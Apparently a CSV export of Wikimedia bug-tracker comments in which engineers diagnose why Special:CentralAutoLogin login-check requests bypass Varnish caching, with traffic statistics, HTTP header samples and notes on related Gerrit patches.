+Chris: Is this still highest priority or is this ""only"" high now?",,,1390406345,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,21,True,1,0,1,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1
+239972,CentralAuth not caching Special:CentralAutoLogin/start,"The only remaining thing would be to (very carefully) return a cached response from Varnish for loginwiki's /checkLoggedIn, if the user doesn't have any loggin cookies, since we return the exact same content for all logged-out users (but unique content for logged in users).
+
+MediaWiki should be sending the correct headers-- CC:public, with a max-age of 1200 when the request came from a logged out user, or CC:private when the user is logged in. But I think Varnish still ignores all caching for Special:CentralAutoLogin after bug 53032?",,,1388427688,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,17,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+239970,CentralAuth not caching Special:CentralAutoLogin/start,"These were all deployed and the effect is nicely visualized here:
+https://ganglia.wikimedia.org/latest/stacked.php?c=Application+servers+eqiad&host_regex=&m=ap_rps&r=year&st=1388322880
+(application server requests per second) 
+
+I'm happy with seeing this bug report closed. Chris, you mentioned some other optimizations you had in mind. Are you still planning these? Are we going to track them im this bug?",,,1388323148,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,17,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0
+239967,CentralAuth not caching Special:CentralAutoLogin/start,"Change 100508 merged by jenkins-bot:
+Don't redirects anons to /createSession
+
+https://gerrit.wikimedia.org/r/100508",,,1386703633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239962,CentralAuth not caching Special:CentralAutoLogin/start,"Thanks Faidon, that is exactly what I was expecting. Just wanted to confirm.",,,1386703215,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+239957,CentralAuth not caching Special:CentralAutoLogin/start,"On a sample of 100k requests,  ""/createSession"" matched 3650 times, while ""/checkLoggedIn"" 3679 times (this is literally greps, not filtered per domain or query params). I tried 3 different such samples with similar results.",,,1386702413,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+239953,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #29)
+> > It's very odd that /createSession is more popular than /checkLoggedIn, since
+> > /checkLoggedIn redirecting to /createSession is the only way /createSession
+> > is called.
+> 
+> Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to
+> redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki,
+> /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the
+> different domains, but it looks like the stats above aren't being split that
+> way so all the /createSession?gu_id=0 are already added together. Or is
+> /createSession still more popular after doing that?
+
+Good point, I think those were only counting full urls. Faidon, could we get a list of urls without query parameters, to make sure /checkLoggedIn is being called roughly the same amount as /createSession?
+
+Brad, if you get time to review and merge gerrit 100508, I'm happy to deploy it today, so that we reduce the load as much as possible before we make any changes to how we pass the parameters.",,,1386695102,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+239948,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #27)
+> 
+> <paravoid> 
+> /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+> is
+> first
+> \x03<\x08paravoid\x08>\x08\x0f 
+> /wiki/Special:CentralAutoLogin/
+> checkLoggedIn?type=script&wikiid=enwiki&proto=http
+> is second,
+> /wiki/Special:CentralAutoLogin/
+> checkLoggedIn?type=script&wikiid=eswiki&proto=http
+> is third
+> <paravoid> on backend requests
+> 
+> It's very odd that /createSession is more popular than /checkLoggedIn, since
+> /checkLoggedIn redirecting to /createSession is the only way /createSession
+> is called.
+
+Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki, /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the different domains, but it looks like the stats above aren't being split that way so all the /createSession?gu_id=0 are already added together. Or is /createSession still more popular after doing that?
+
+
+> <paravoid> I also see on no5
+> /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/
+> createSession&gu_id=0&type=script&proto=http
+> so I guess https://gerrit.wikimedia.org/r/#/c/98461/ didn't work
+
+I'm not so sure, it doesn't seem like a localisation update was run after the patch was backported to wmf5. The nightly update just ran now, and now it seems to no longer be redirecting.",,,1386641835,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+239942,CentralAuth not caching Special:CentralAutoLogin/start,"Change 100508 had a related patch set uploaded by CSteipp:
+Don't redirects anons to /createSession
+
+https://gerrit.wikimedia.org/r/100508",,,1386635569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239932,CentralAuth not caching Special:CentralAutoLogin/start,"I updated 1.23wmf5 (including enwiki) to include the patch that removes calls to /start for anons. After that, Faidon was looking at the logs and observed:
+
+<paravoid>  /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http is first
+\x03<\x08paravoid\x08>\x08\x0f  /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=enwiki&proto=http is second, /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=eswiki&proto=http is third
+<paravoid> on backend requests
+
+
+<paravoid>   6392.37 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+<paravoid>   6133.61 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+<paravoid>   4772.53 RxURL          /w/api.php
+<paravoid> on frontends
+
+
+<paravoid> I also see on no5 /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/createSession&gu_id=0&type=script&proto=http so I guess https://gerrit.wikimedia.org/r/#/c/98461/ didn't work
+
+
+It's very odd that /createSession is more popular than /checkLoggedIn, since /checkLoggedIn redirecting to /createSession is the only way /createSession is called. On another bug, Brad and I have been discussion removing the call to createSession for annons, and ending the protocol once we know they're anonymous. So we can address the symptoms, but I'm still concerned we have something weird going on causing this.",,,1386633793,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1
+239922,CentralAuth not caching Special:CentralAutoLogin/start,"Change 98461 merged by jenkins-bot:
+Don't localize Special:CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/98461",,,1386092099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239916,CentralAuth not caching Special:CentralAutoLogin/start,"Change 98461 had a related patch set uploaded by Anomie:
+Don't localize Special:CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/98461",,,1385938512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239912,CentralAuth not caching Special:CentralAutoLogin/start,"Change 95609 merged by jenkins-bot:
+Skip Special:CentralAutoLogin/start for JS anons
+
+https://gerrit.wikimedia.org/r/95609",,,1384800429,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239909,CentralAuth not caching Special:CentralAutoLogin/start,"Change 95609 had a related patch set uploaded by Anomie:
+Skip Special:CentralAutoLogin/start for JS anons
+
+https://gerrit.wikimedia.org/r/95609",,,1384527515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239905,CentralAuth not caching Special:CentralAutoLogin/start,"Unless the client lacks/blocks localStorage and cookies, it should be one pageview per client per site visited per day that is hitting /start?type=script, /checkLoggedIn?wikiid=*&proto=http(s)&type=script, and /createSession?gu_id=0&type=script&proto=http(s). There will also be extra hits coming from the login form, but those hits will include ""&return=1"" and likely returnto and returntoquery parameters.
+
+As long as each of those URLs is varied on the CentralAuth cookies, they all should be fully cacheable.
+
+We can't just not have anons hit these, though, because anons hitting them is an integral part of the SUL2 login scheme: browsers will no longer allow us to set cookies for (e.g.) wikivoyage.org on login if the user has never visited wikivoyage.org before, so when a user does visit wikivoyage.org anonymously we need to somehow check whether they're logged in centrally.
+
+/start?type=1x1 does appear on anon pageviews, but there it's wrapped in <noscript> tags so it should only be hit when the browser lacks JavaScript. /start?type=1x1&from=* appears on the pageview after login.",,,1384525432,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,11,True,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+239901,CentralAuth not caching Special:CentralAutoLogin/start,"Oh, and the for the record, the top 5 from Varnish backends, i.e. frontend misses, which filters out cacheable hotspots:
+
+  6964.24 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
+  5650.14 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
+  3943.42 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+  2417.36 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
+  1513.81 RxURL          /check
+
+(all but /check being passed through as-is to appservers)",,,1384521034,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,11,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1
+239897,CentralAuth not caching Special:CentralAutoLogin/start,"OK, I had another quick look, as this in combination with consistent hashing directing /wiki/Special:CentralAutoLogin/start?type=script to a single Varnish backend produced a partial outage by exhausting its resources. (this has been workarounded since with https://gerrit.wikimedia.org/r/#/c/95458/ )
+
+This is far more than just ""caching"". I'm going to report these here so we don't get lost into multiple bugs, but feel free to fork into other bugs as needed:
+
+1) From Varnish text frontends, i.e. *all* text client-side requests (hits & misses), the top 10 URLs are:
+  6895.39 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
+  5627.74 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+  3235.81 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
+  2137.83 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+  1981.98 RxURL          /w/index.php?title=MediaWiki:EnhancedCollapsibleElements.js&action=raw&ctype=text/javascript
+  1943.81 RxURL          /w/index.php?title=MediaWiki:Common.js/NormalizeCharWidth.js&action=raw&ctype=text/javascript
+  1567.70 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
+  1383.12 RxURL          /favicon.ico
+  1266.87 RxURL          /w/index.php?title=%E7%89%B9%E5%88%A5:%E4%B8%AD%E5%A4%AE%E7%AE%A1%E7%90%86%E8%87%AA%E5%8B%95%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3/star
+  1020.66 RxURL          /w/index.php?title=MediaWiki:OSM.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+
+(also note how the first is double the requests from the third and triple the requests from fourth)
+
+and from the top-50 URLs, 10 (20%) are CentralAutoLogin URLs, namely:
+  6944.76 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
+  3003.28 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
+  2273.40 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+  1452.62 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
+   551.49 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=jawiki&proto=https&type=script
+   362.93 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=eswiki&proto=https&type=script
+   298.33 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=zhwiki&proto=http&type=script
+   293.00 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
+   289.84 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=1x1&proto=https
+   240.99 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=ptwiki&proto=https&type=script
+
+Moreover, these stats do not include the localized URLs that I'm seeing, such as
+http://de.wikipedia.org/w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/start&type=script
+(localized URLs for such basic functions are a bad idea, as it doesn't help us aggregate URLs counts and find outliers like the above)
+
+And, surpisingly, does not include the 1x1 URL that I see e.g. on all(?) enwiki pages as:
+<noscript><img src=""//en.wikipedia.org/w/index.php?title=Special:CentralAutoLogin/start&amp;type=1x1"" alt="""" title="""" width=""1"" height=""1"" style=""border: none; position: absolute;"" /></noscript></div>
+which also comes with Cache-control: private.
+
+The fact that these URLs are so popular points to far more than just editors attempting to login -- it surely includes anonymous page views and it's probably aggravated by the fact that due to caching headers, we do not make use of client-side caching. I see ext.centralauth.centralautologin.js doing such requests and that script being loaded on every anon, but it's clearly not my area of expertise.
+
+Those URLs not being cached also means these get passed through to appservers and increasing their load significantly, which the original point of this report. It's also very apparent now, though, that they're causing problems in all kinds of layers in our infrastructure (Varnish frontend/backend hit ratio is down the drain, Varnish backends were/are suffering) and possibly causing a client-side slow-down.
+
+I think we can fix the caching issues -even for redirects depending on GeoIP- but first and foremost we need to stop forcing all page views to requests all kinds of (uncacheable) CentralAutoLogin URLs in this way.",,,1384519621,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,11,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+239891,CentralAuth not caching Special:CentralAutoLogin/start,"Any updates Faidon? I'm curious to know if you found anything, so we can make sure this is as minimal load on the apaches as possible.",,,1383620743,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,9,True,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+239885,CentralAuth not caching Special:CentralAutoLogin/start,"Yes, the redirects should vary on XFP, but right now it won't have any effect, since these redirects also come with Cache-Control: private so they're not cached anyway. 
+
+I guess the rationale behind no caching is that the redirects are dependent on the client's IP and you can't Vary on that. We can do tricks to solve this (e.g. do the GeoIP lookup on the Varnish side for particular URLs and set an X-Country header that you could vary on, for example), but before we go down that road I'd like to analyze the traffic a bit further and figure out why these rank so high in amount of req/s.",,,1382365343,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,0,1,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+239879,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #15)
+> Faidon also mentioned on irc that he was seeing http->https redirects. We
+> wouldn't want to cache those, since those are based on the user being logged
+> in.
+
+For Special:CentralAutoLogin, it redirects to https if $wgSecureLogin is set and wfCanIPUseHTTPS() returns true for the IP, regardless of whether the user is logged in or not. If the user has the forceHTTPS cookie or is logged in and returns true for $user->requiresHTTPS(), then I believe MediaWiki will do the same sort of redirect before getting to CentralAuth.
+
+BTW, should that redirect be varying on X-Forwarded-Proto? Probably, so I submitted Gerrit change 90543 to do that.",,,1382103851,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+239872,CentralAuth not caching Special:CentralAutoLogin/start,"What do you mean ""on the user being logged in""? Is it a preference (Cookie?),  geolocation data for the IP or something else? We could likely enforce some logic with Vary/XVO/Varnish VCL and avoid hitting apaches for all of these.",,,1382099390,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+239866,CentralAuth not caching Special:CentralAutoLogin/start,"This looks like another issue, since the user is just being redirected to a translated page name. That seems like it would be a safe redirect for mediawiki to cache, and we probably haven't had sufficient volumes to worry about caching it in the past. But maybe someone else knows for sure?
+
+If the user actually gets to Special:CentralAutoLogin/start, they are redirected to loginwiki's Special:CentralAutoLogin/checkLoggedIn, which should be cached, and I'm guessing those are since Faidon didn't see many of those.
+
+Faidon also mentioned on irc that he was seeing http->https redirects. We wouldn't want to cache those, since those are based on the user being logged in.",,,1382066539,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+239858,CentralAuth not caching Special:CentralAutoLogin/start,"The fix had the intended effect but I still see those URLs (without returnto this time) not being cached at all. It seems MediaWiki emits ""Cache-control: private, must-revalidate, max-age=0"" and ""Expires: Thu, 01 Jan 1970 00:00:00 GMT""; a request/response sample would be:
+
+GET /wiki/Special:CentralAutoLogin/start?type=script HTTP/1.0
+Host: zh.wikipedia.org
+Accept: */*
+User-Agent: (...)
+Accept-Encoding: gzip,deflate,sdch
+Accept-Language: zh-CN,zh;q=0.8
+Via: 1.0 cp1015.eqiad.wmnet:3128 (squid/2.7.STABLE9)
+X-Forwarded-For: (...)
+Connection: keep-alive
+
+HTTP/1.1 302 Found
+Date: Fri, 18 Oct 2013 00:35:12 GMT
+Server: Apache
+X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
+X-Content-Type-Options: nosniff
+Cache-control: private, must-revalidate, max-age=0 
+Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
+X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=zhwikiToken;string-contains=zhwikiLoggedOut;string-contains=forceHTTPS;string-contains=zhwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
+Expires: Thu, 01 Jan 1970 00:00:00 GMT
+Location: http://zh.wikipedia.org/w/index.php?title=Special:%E4%B8%AD%E5%A4%AE%E8%AE%A4%E8%AF%81%E7%99%BB%E5%BD%95/start&type=script
+Content-Encoding: gzip
+Content-Length: 20
+Keep-Alive: timeout=2, max=147
+Connection: Keep-Alive
+Content-Type: text/html; charset=utf-8",,,1382057563,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+239854,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86265 merged by jenkins-bot:
+For caching, avoid passing returnto to Special:CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/86265",,,1380306961,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+239851,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86265 had a related patch set uploaded by Anomie:
+For caching, avoid passing returnto to Special:CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/86265",,,1380297517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+239847,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #10)
+> Ah, thanks. Could we build the correct returnto and update the link in the
+> javascript that we return from /setCookies?
+
+Probably. Although my gut reaction is ""this #p-personal thing keeps getting more and more hacky"".",,,1380250081,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,1
